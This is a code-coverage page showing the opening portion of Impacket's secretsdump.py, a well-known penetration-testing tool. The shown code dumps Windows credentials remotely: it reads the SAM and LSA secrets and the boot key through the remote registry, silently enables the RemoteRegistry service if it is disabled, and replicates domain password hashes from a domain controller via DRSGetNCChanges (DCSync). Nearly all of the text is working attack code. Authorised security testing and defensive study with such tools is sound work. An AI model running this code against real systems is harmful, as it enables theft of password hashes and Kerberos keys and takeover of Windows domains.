Coverage for /root/GitHubProjects/impacket/impacket/examples/secretsdump.py: 0%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/secretsdump.py : 0%

## 1699 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# Performs various techniques to dump hashes from the

11# remote machine without executing any agent there.

12# For SAM and LSA Secrets (including cached creds)

13# we try to read as much as we can from the registry

14# and then we save the hives in the target system

15# (%SYSTEMROOT%\\Temp dir) and read the rest of the

16# data from there.

17# For NTDS.dit we either:

18# a. Get the domain users list and get its hashes

19# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()

20# call, replicating just the attributes we need.

21# b. Extract NTDS.dit via vssadmin executed with the

22# smbexec approach.

23# It's copied on the temp dir and parsed remotely.

24#

25# The script initiates the services required for its working

26# if they are not available (e.g. Remote Registry, even if it is

27# disabled). After the work is done, things are restored to the

28# original state.

29#

30# Author:

31# Alberto Solino (@agsolino)

32#

33# References:

34# Most of the work done by these guys. I just put all

35# the pieces together, plus some extra magic.

36# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync

37# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html

38# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html

39# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html

40# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13

41# - https://code.google.com/p/creddump/

42# - https://lab.mediaservice.net/code/cachedump.rb

43# - https://insecurety.net/?p=768

44# - http://www.beginningtoseethelight.org/ntsecurity/index.htm

45# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf

46# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15

47#

48 from __future__ import division

49 from __future__ import print_function

50 import codecs

51 import json

52 import hashlib

53 import logging

54 import ntpath

55 import os

56 import re

57 import random

58 import string

59 import time

60 from binascii import unhexlify, hexlify

61 from collections import OrderedDict

62 from datetime import datetime

63 from struct import unpack, pack

64 from six import b, PY2

65

66 from impacket import LOG

67 from impacket import system_errors

68 from impacket import winregistry, ntlm

69 from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi

70 from impacket.dcerpc.v5.dtypes import NULL

71 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE

72 from impacket.dcerpc.v5.dcom import wmi

73 from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \

74 VARIANT, VARENUM, DISPATCH_METHOD

75 from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \

76 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \

77 IRemUnknown2, INTERFACE

78 from impacket.ese import ESENT_DB

79 from impacket.dpapi import DPAPI_SYSTEM

80 from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ

81 from impacket.nt_errors import STATUS_MORE_ENTRIES

82 from impacket.structure import Structure

83 from impacket.structure import hexdump

84 from impacket.uuid import string_to_bin

85 from impacket.crypto import transformKey

86 from impacket.krb5 import constants

87 from impacket.krb5.crypto import string_to_key

88 try:

89 from Cryptodome.Cipher import DES, ARC4, AES

90 from Cryptodome.Hash import HMAC, MD4, MD5

91 except ImportError:

92 LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")

93 LOG.critical("See https://pypi.org/project/pycryptodomex/")

94

95

96# Structures

97# Taken from https://insecurety.net/?p=768

98 class SAM_KEY_DATA(Structure):

99 structure = (

100 ('Revision','<L=0'),

101 ('Length','<L=0'),

102 ('Salt','16s=b""'),

103 ('Key','16s=b""'),

104 ('CheckSum','16s=b""'),

105 ('Reserved','<Q=0'),

106 )

107

108# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/SecureAuthCorp/impacket/issues/326

109# Merci! Makes it way easier than parsing manually.

110 class SAM_HASH(Structure):

111 structure = (

112 ('PekID','<H=0'),

113 ('Revision','<H=0'),

114 ('Hash','16s=b""'),

115 )

116

117 class SAM_KEY_DATA_AES(Structure):

118 structure = (

119 ('Revision','<L=0'),

120 ('Length','<L=0'),

121 ('CheckSumLen','<L=0'),

122 ('DataLen','<L=0'),

123 ('Salt','16s=b""'),

124 ('Data',':'),

125 )

126

127 class SAM_HASH_AES(Structure):

128 structure = (

129 ('PekID','<H=0'),

130 ('Revision','<H=0'),

131 ('DataOffset','<L=0'),

132 ('Salt','16s=b""'),

133 ('Hash',':'),

134 )

135

136 class DOMAIN_ACCOUNT_F(Structure):

137 structure = (

138 ('Revision','<L=0'),

139 ('Unknown','<L=0'),

140 ('CreationTime','<Q=0'),

141 ('DomainModifiedCount','<Q=0'),

142 ('MaxPasswordAge','<Q=0'),

143 ('MinPasswordAge','<Q=0'),

144 ('ForceLogoff','<Q=0'),

145 ('LockoutDuration','<Q=0'),

146 ('LockoutObservationWindow','<Q=0'),

147 ('ModifiedCountAtLastPromotion','<Q=0'),

148 ('NextRid','<L=0'),

149 ('PasswordProperties','<L=0'),

150 ('MinPasswordLength','<H=0'),

151 ('PasswordHistoryLength','<H=0'),

152 ('LockoutThreshold','<H=0'),

153 ('Unknown2','<H=0'),

154 ('ServerState','<L=0'),

155 ('ServerRole','<H=0'),

156 ('UasCompatibilityRequired','<H=0'),

157 ('Unknown3','<Q=0'),

158 ('Key0',':'),

159# Commenting this, not needed and not present on Windows 2000 SP0

160# ('Key1',':', SAM_KEY_DATA),

161# ('Unknown4','<L=0'),

162 )

163

164# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm

165 class USER_ACCOUNT_V(Structure):

166 structure = (

167 ('Unknown','12s=b""'),

168 ('NameOffset','<L=0'),

169 ('NameLength','<L=0'),

170 ('Unknown2','<L=0'),

171 ('FullNameOffset','<L=0'),

172 ('FullNameLength','<L=0'),

173 ('Unknown3','<L=0'),

174 ('CommentOffset','<L=0'),

175 ('CommentLength','<L=0'),

176 ('Unknown3','<L=0'),

177 ('UserCommentOffset','<L=0'),

178 ('UserCommentLength','<L=0'),

179 ('Unknown4','<L=0'),

180 ('Unknown5','12s=b""'),

181 ('HomeDirOffset','<L=0'),

182 ('HomeDirLength','<L=0'),

183 ('Unknown6','<L=0'),

184 ('HomeDirConnectOffset','<L=0'),

185 ('HomeDirConnectLength','<L=0'),

186 ('Unknown7','<L=0'),

187 ('ScriptPathOffset','<L=0'),

188 ('ScriptPathLength','<L=0'),

189 ('Unknown8','<L=0'),

190 ('ProfilePathOffset','<L=0'),

191 ('ProfilePathLength','<L=0'),

192 ('Unknown9','<L=0'),

193 ('WorkstationsOffset','<L=0'),

194 ('WorkstationsLength','<L=0'),

195 ('Unknown10','<L=0'),

196 ('HoursAllowedOffset','<L=0'),

197 ('HoursAllowedLength','<L=0'),

198 ('Unknown11','<L=0'),

199 ('Unknown12','12s=b""'),

200 ('LMHashOffset','<L=0'),

201 ('LMHashLength','<L=0'),

202 ('Unknown13','<L=0'),

203 ('NTHashOffset','<L=0'),

204 ('NTHashLength','<L=0'),

205 ('Unknown14','<L=0'),

206 ('Unknown15','24s=b""'),

207 ('Data',':=b""'),

208 )

209

210 class NL_RECORD(Structure):

211 structure = (

212 ('UserLength','<H=0'),

213 ('DomainNameLength','<H=0'),

214 ('EffectiveNameLength','<H=0'),

215 ('FullNameLength','<H=0'),

216# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265

217 ('LogonScriptName','<H=0'),

218 ('ProfilePathLength','<H=0'),

219 ('HomeDirectoryLength','<H=0'),

220 ('HomeDirectoryDriveLength','<H=0'),

221 ('UserId','<L=0'),

222 ('PrimaryGroupId','<L=0'),

223 ('GroupCount','<L=0'),

224 ('logonDomainNameLength','<H=0'),

225 ('unk0','<H=0'),

226 ('LastWrite','<Q=0'),

227 ('Revision','<L=0'),

228 ('SidCount','<L=0'),

229 ('Flags','<L=0'),

230 ('unk1','<L=0'),

231 ('LogonPackageLength','<L=0'),

232 ('DnsDomainNameLength','<H=0'),

233 ('UPN','<H=0'),

234 # ('MetaData','52s=""'),

235 # ('FullDomainLength','<H=0'),

236 # ('Length2','<H=0'),

237 ('IV','16s=b""'),

238 ('CH','16s=b""'),

239 ('EncryptedData',':'),

240 )

241

242

243 class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):

244 structure = (

245 ('Value','6s'),

246 )

247

248 class SAMR_RPC_SID(Structure):

249 structure = (

250 ('Revision','<B'),

251 ('SubAuthorityCount','<B'),

252 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),

253 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),

254 ('SubAuthority',':'),

255 )

256

257 def formatCanonical(self):

258 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))

259 for i in range(self['SubAuthorityCount']):

260 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4: i*4+4])[0])

261 return ans

262

263 class LSA_SECRET_BLOB(Structure):

264 structure = (

265 ('Length','<L=0'),

266 ('Unknown','12s=b""'),

267 ('_Secret','_-Secret','self["Length"]'),

268 ('Secret',':'),

269 ('Remaining',':'),

270 )

271

272 class LSA_SECRET(Structure):

273 structure = (

274 ('Version','<L=0'),

275 ('EncKeyID','16s=b""'),

276 ('EncAlgorithm','<L=0'),

277 ('Flags','<L=0'),

278 ('EncryptedData',':'),

279 )

280

281 class LSA_SECRET_XP(Structure):

282 structure = (

283 ('Length','<L=0'),

284 ('Version','<L=0'),

285 ('_Secret','_-Secret', 'self["Length"]'),

286 ('Secret', ':'),

287 )

288

289

290# Helper to create files for exporting

291 def openFile(fileName, mode='w+', openFileFunc=None):

292 if openFileFunc is not None:

293 return openFileFunc(fileName, mode)

294 else:

295 return codecs.open(fileName, mode, encoding='utf-8')

296

297

298# Classes

299 class RemoteFile:

300 def __init__(self, smbConnection, fileName):

301 self.__smbConnection = smbConnection

302 self.__fileName = fileName

303 self.__tid = self.__smbConnection.connectTree('ADMIN$')

304 self.__fid = None

305 self.__currentOffset = 0

306

307 def open(self):

308 tries = 0

309 while True:

310 try:

311 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,

312 shareMode=FILE_SHARE_READ)

313 except Exception as e:

314 if str(e).find('STATUS_SHARING_VIOLATION') >=0:

315 if tries >= 3:

316 raise e

317 # Stuff didn't finish yet.. wait more

318 time.sleep(5)

319 tries += 1

320 pass

321 else:

322 raise e

323 else:

324 break

325

326 def seek(self, offset, whence):

327 # Implement whence, for now it's always from the beginning of the file

328 if whence == 0:

329 self.__currentOffset = offset

330

331 def read(self, bytesToRead):

332 if bytesToRead > 0:

333 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)

334 self.__currentOffset += len(data)

335 return data

336 return b''

337

338 def close(self):

339 if self.__fid is not None:

340 self.__smbConnection.closeFile(self.__tid, self.__fid)

341 self.__smbConnection.deleteFile('ADMIN$', self.__fileName)

342 self.__fid = None

343

344 def tell(self):

345 return self.__currentOffset

346

347 def __str__(self):

348 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)

349

350 class RemoteOperations:

351 def __init__(self, smbConnection, doKerberos, kdcHost=None):

352 self.__smbConnection = smbConnection

353 if self.__smbConnection is not None:

354 self.__smbConnection.setTimeout(5*60)

355 self.__serviceName = 'RemoteRegistry'

356 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'

357 self.__rrp = None

358 self.__regHandle = None

359

360 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'

361 self.__samr = None

362 self.__domainHandle = None

363 self.__domainName = None

364 self.__domainSid = None

365

366 self.__drsr = None

367 self.__hDrs = None

368 self.__NtdsDsaObjectGuid = None

369 self.__ppartialAttrSet = None

370 self.__prefixTable = []

371 self.__doKerberos = doKerberos

372 self.__kdcHost = kdcHost

373

374 self.__bootKey = b''

375 self.__disabled = False

376 self.__shouldStop = False

377 self.__started = False

378

379 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'

380 self.__scmr = None

381 self.__tmpServiceName = None

382 self.__serviceDeleted = False

383

384 self.__batchFile = '%TEMP%\\execute.bat'

385 self.__shell = '%COMSPEC% /Q /c '

386 self.__output = '%SYSTEMROOT%\\Temp\\__output'

387 self.__answerTMP = b''

388

389 self.__execMethod = 'smbexec'

390

391 def setExecMethod(self, method):

392 self.__execMethod = method

393

394 def __connectSvcCtl(self):

395 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)

396 rpc.set_smb_connection(self.__smbConnection)

397 self.__scmr = rpc.get_dce_rpc()

398 self.__scmr.connect()

399 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

400

401 def __connectWinReg(self):

402 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)

403 rpc.set_smb_connection(self.__smbConnection)

404 self.__rrp = rpc.get_dce_rpc()

405 self.__rrp.connect()

406 self.__rrp.bind(rrp.MSRPC_UUID_RRP)

407

408 def connectSamr(self, domain):

409 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)

410 rpc.set_smb_connection(self.__smbConnection)

411 self.__samr = rpc.get_dce_rpc()

412 self.__samr.connect()

413 self.__samr.bind(samr.MSRPC_UUID_SAMR)

414 resp = samr.hSamrConnect(self.__samr)

415 serverHandle = resp['ServerHandle']

416

417 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)

418 self.__domainSid = resp['DomainId'].formatCanonical()

419

420 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])

421 self.__domainHandle = resp['DomainHandle']

422 self.__domainName = domain

423

424 def __connectDrds(self):

425 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,

426 protocol='ncacn_ip_tcp')

427 rpc = transport.DCERPCTransportFactory(stringBinding)

428 rpc.setRemoteHost(self.__smbConnection.getRemoteHost())

429 rpc.setRemoteName(self.__smbConnection.getRemoteName())

430 if hasattr(rpc, 'set_credentials'):

431 # This method exists only for selected protocol sequences.

432 rpc.set_credentials(*(self.__smbConnection.getCredentials()))

433 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)

434 self.__drsr = rpc.get_dce_rpc()

435 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

436 if self.__doKerberos:

437 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)

438 self.__drsr.connect()

439 # Uncomment these lines if you want to play some tricks

440 # This will make the dump way slower tho.

441 #self.__drsr.bind(samr.MSRPC_UUID_SAMR)

442 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)

443 #self.__drsr.set_max_fragment_size(1)

444 # And Comment this line

445 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)

446

447 if self.__domainName is None:

448 # Get domain name from credentials cached

449 self.__domainName = rpc.get_credentials()[2]

450

451 request = drsuapi.DRSBind()

452 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID

453 drs = drsuapi.DRS_EXTENSIONS_INT()

454 drs['cb'] = len(drs) #- 4

455 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \

456 drsuapi.DRS_EXT_STRONG_ENCRYPTION

457 drs['SiteObjGuid'] = drsuapi.NULLGUID

458 drs['Pid'] = 0

459 drs['dwReplEpoch'] = 0

460 drs['dwFlagsExt'] = 0

461 drs['ConfigObjGUID'] = drsuapi.NULLGUID

462 # I'm uber potential (c) Ben

463 drs['dwExtCaps'] = 0xffffffff

464 request['pextClient']['cb'] = len(drs)

465 request['pextClient']['rgb'] = list(drs.getData())

466 resp = self.__drsr.request(request)

467 if LOG.level == logging.DEBUG:

468 LOG.debug('DRSBind() answer')

469 resp.dump()

470

471 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of

472 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.

473 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

474

475 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.

476 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (

477 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])

478 drsExtensionsInt.fromString(ppextServer)

479

480 if drsExtensionsInt['dwReplEpoch'] != 0:

481 # Different epoch, we have to call DRSBind again

482 if LOG.level == logging.DEBUG:

483 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[

484 'dwReplEpoch'])

485 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']

486 request['pextClient']['cb'] = len(drs)

487 request['pextClient']['rgb'] = list(drs.getData())

488 resp = self.__drsr.request(request)

489

490 self.__hDrs = resp['phDrs']

491

492 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges

493 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)

494 if LOG.level == logging.DEBUG:

495 LOG.debug('DRSDomainControllerInfo() answer')

496 resp.dump()

497

498 if resp['pmsgOut']['V2']['cItems'] > 0:

499 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']

500 else:

501 LOG.error("Couldn't get DC info for domain %s" % self.__domainName)

502 raise Exception('Fatal, aborting')

503

504 def getDrsr(self):

505 return self.__drsr

506

507 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,

508 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):

509 if self.__drsr is None:

510 self.__connectDrds()

511

512 LOG.debug('Calling DRSCrackNames for %s ' % name)

513 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))

514 return resp

515

516 def DRSGetNCChanges(self, userEntry):

517 if self.__drsr is None:

518 self.__connectDrds()

519

520 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)

521 request = drsuapi.DRSGetNCChanges()

522 request['hDrs'] = self.__hDrs

523 request['dwInVersion'] = 8

524

525 request['pmsgIn']['tag'] = 8

526 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid

527 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

528

529 dsName = drsuapi.DSNAME()

530 dsName['SidLen'] = 0

531 dsName['Guid'] = string_to_bin(userEntry[1:-1])

532 dsName['Sid'] = ''

533 dsName['NameLen'] = 0

534 dsName['StringName'] = ('\x00')

535

536 dsName['structLen'] = len(dsName.getData())

537

538 request['pmsgIn']['V8']['pNC'] = dsName

539

540 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0

541 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0

542

543 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL

544

545 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP

546 request['pmsgIn']['V8']['cMaxObjects'] = 1

547 request['pmsgIn']['V8']['cMaxBytes'] = 0

548 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ

549 if self.__ppartialAttrSet is None:

550 self.__prefixTable = []

551 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()

552 self.__ppartialAttrSet['dwVersion'] = 1

553 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)

554 for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):

555 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))

556 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet

557 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)

558 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable

559 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL

560

561 return self.__drsr.request(request)

562

563 def getDomainUsers(self, enumerationContext=0):

564 if self.__samr is None:

565 self.connectSamr(self.getMachineNameAndDomain()[1])

566

567 try:

568 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,

569 userAccountControl=samr.USER_NORMAL_ACCOUNT | \

570 samr.USER_WORKSTATION_TRUST_ACCOUNT | \

571 samr.USER_SERVER_TRUST_ACCOUNT |\

572 samr.USER_INTERDOMAIN_TRUST_ACCOUNT,

573 enumerationContext=enumerationContext)

574 except DCERPCException as e:

575 if str(e).find('STATUS_MORE_ENTRIES') < 0:

576 raise

577 resp = e.get_packet()

578 return resp

579

580 def getDomainSid(self):

581 if self.__domainSid is not None:

582 return self.__domainSid

583

584 if self.__samr is None:

585 self.connectSamr(self.getMachineNameAndDomain()[1])

586

587 return self.__domainSid

588

589 def getMachineKerberosSalt(self):

590 """

591 Returns Kerberos salt for the current connection if

592 we have the correct information

593 """

594 if self.__smbConnection.getServerName() == '':

595 # Todo: figure out an RPC call that gives us the domain FQDN

596 # instead of the NETBIOS name as NetrWkstaGetInfo does

597 return b''

598 else:

599 host = self.__smbConnection.getServerName()

600 domain = self.__smbConnection.getServerDNSDomainName()

601 salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))

602 return salt

603

604 def getMachineNameAndDomain(self):

605 if self.__smbConnection.getServerName() == '':

606 # No serverName.. this is either because we're doing Kerberos

607 # or not receiving that data during the login process.

608 # Let's try getting it through RPC

609 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')

610 rpc.set_smb_connection(self.__smbConnection)

611 dce = rpc.get_dce_rpc()

612 dce.connect()

613 dce.bind(wkst.MSRPC_UUID_WKST)

614 resp = wkst.hNetrWkstaGetInfo(dce, 100)

615 dce.disconnect()

616 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][

617 'wki100_langroup'][:-1]

618 else:

619 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()

620

621 def getDefaultLoginAccount(self):

622 try:

623 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')

624 keyHandle = ans['phkResult']

625 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')

626 username = dataValue[:-1]

627 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')

628 domain = dataValue[:-1]

629 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

630 if len(domain) > 0:

631 return '%s\\%s' % (domain,username)

632 else:

633 return username

634 except:

635 return None

636

637 def getServiceAccount(self, serviceName):

638 try:

639 # Open the service

640 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)

641 serviceHandle = ans['lpServiceHandle']

642 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)

643 account = resp['lpServiceConfig']['lpServiceStartName'][:-1]

644 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)

645 if account.startswith('.\\'):

646 account = account[2:]

647 return account

648 except Exception as e:

649 # Don't log if history service is not found, that should be normal

650 if serviceName.endswith("_history") is False:

651 LOG.error(e)

652 return None

653

654 def __checkServiceStatus(self):

655 # Open SC Manager

656 ans = scmr.hROpenSCManagerW(self.__scmr)

657 self.__scManagerHandle = ans['lpScHandle']

658 # Now let's open the service

659 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)

660 self.__serviceHandle = ans['lpServiceHandle']

661 # Let's check its status

662 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)

663 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:

664 LOG.info('Service %s is in stopped state'% self.__serviceName)

665 self.__shouldStop = True

666 self.__started = False

667 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:

668 LOG.debug('Service %s is already running'% self.__serviceName)

669 self.__shouldStop = False

670 self.__started = True

671 else:

672 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])

673

674 # Let's check its configuration if service is stopped, maybe it's disabled :s

675 if self.__started is False:

676 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)

677 if ans['lpServiceConfig']['dwStartType'] == 0x4:

678 LOG.info('Service %s is disabled, enabling it'% self.__serviceName)

679 self.__disabled = True

680 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)

681 LOG.info('Starting service %s' % self.__serviceName)

682 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)

683 time.sleep(1)

684

685 def enableRegistry(self):

686 self.__connectSvcCtl()

687 self.__checkServiceStatus()

688 self.__connectWinReg()

689

690 def __restore(self):

691 # First of all stop the service if it was originally stopped

692 if self.__shouldStop is True:

693 LOG.info('Stopping service %s' % self.__serviceName)

694 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)

695 if self.__disabled is True:

696 LOG.info('Restoring the disabled state for service %s' % self.__serviceName)

697 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)

698 if self.__serviceDeleted is False and self.__tmpServiceName is not None:

699 # Check again the service we created does not exist, starting a new connection

700 # Why?.. Hitting CTRL+C might break the whole existing DCE connection

701 try:

702 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())

703 if hasattr(rpc, 'set_credentials'):

704 # This method exists only for selected protocol sequences.

705 rpc.set_credentials(*self.__smbConnection.getCredentials())

706 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)

707 self.__scmr = rpc.get_dce_rpc()

708 self.__scmr.connect()

709 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

710 # Open SC Manager

711 ans = scmr.hROpenSCManagerW(self.__scmr)

712 self.__scManagerHandle = ans['lpScHandle']

713 # Now let's open the service

714 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)

715 service = resp['lpServiceHandle']

716 scmr.hRDeleteService(self.__scmr, service)

717 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)

718 scmr.hRCloseServiceHandle(self.__scmr, service)

719 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)

720 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)

721 rpc.disconnect()

722 except Exception as e:

723 # If service is stopped it'll trigger an exception

724 # If service does not exist it'll trigger an exception

725 # So. we just wanna be sure we delete it, no need to

726 # show this exception message

727 pass

728

729 def finish(self):

730 self.__restore()

731 if self.__rrp is not None:

732 self.__rrp.disconnect()

733 if self.__drsr is not None:

734 self.__drsr.disconnect()

735 if self.__samr is not None:

736 self.__samr.disconnect()

737 if self.__scmr is not None:

738 try:

739 self.__scmr.disconnect()

740 except Exception as e:

741 if str(e).find('STATUS_INVALID_PARAMETER') >=0:

742 pass

743 else:

744 raise

745

746 def getBootKey(self):

747 bootKey = b''

748 ans = rrp.hOpenLocalMachine(self.__rrp)

749 self.__regHandle = ans['phKey']

750 for key in ['JD','Skew1','GBG','Data']:

751 LOG.debug('Retrieving class info for %s'% key)

752 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)

753 keyHandle = ans['phkResult']

754 ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)

755 bootKey = bootKey + b(ans['lpClassOut'][:-1])

756 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

757

758 transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

759

760 bootKey = unhexlify(bootKey)

761

762 for i in range(len(bootKey)):

763 self.__bootKey += bootKey[transforms[i]:transforms[i]+1]

764

765 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))

766

767 return self.__bootKey

768

769 def checkNoLMHashPolicy(self):

770 LOG.debug('Checking NoLMHash Policy')

771 ans = rrp.hOpenLocalMachine(self.__rrp)

772 self.__regHandle = ans['phKey']

773

774 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')

775 keyHandle = ans['phkResult']

776 try:

777 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')

778 except:

779 noLMHash = 0

780

781 if noLMHash != 1:

782 LOG.debug('LMHashes are being stored')

783 return False

784

785 LOG.debug('LMHashes are NOT being stored')

786 return True

787

788 def __retrieveHive(self, hiveName):

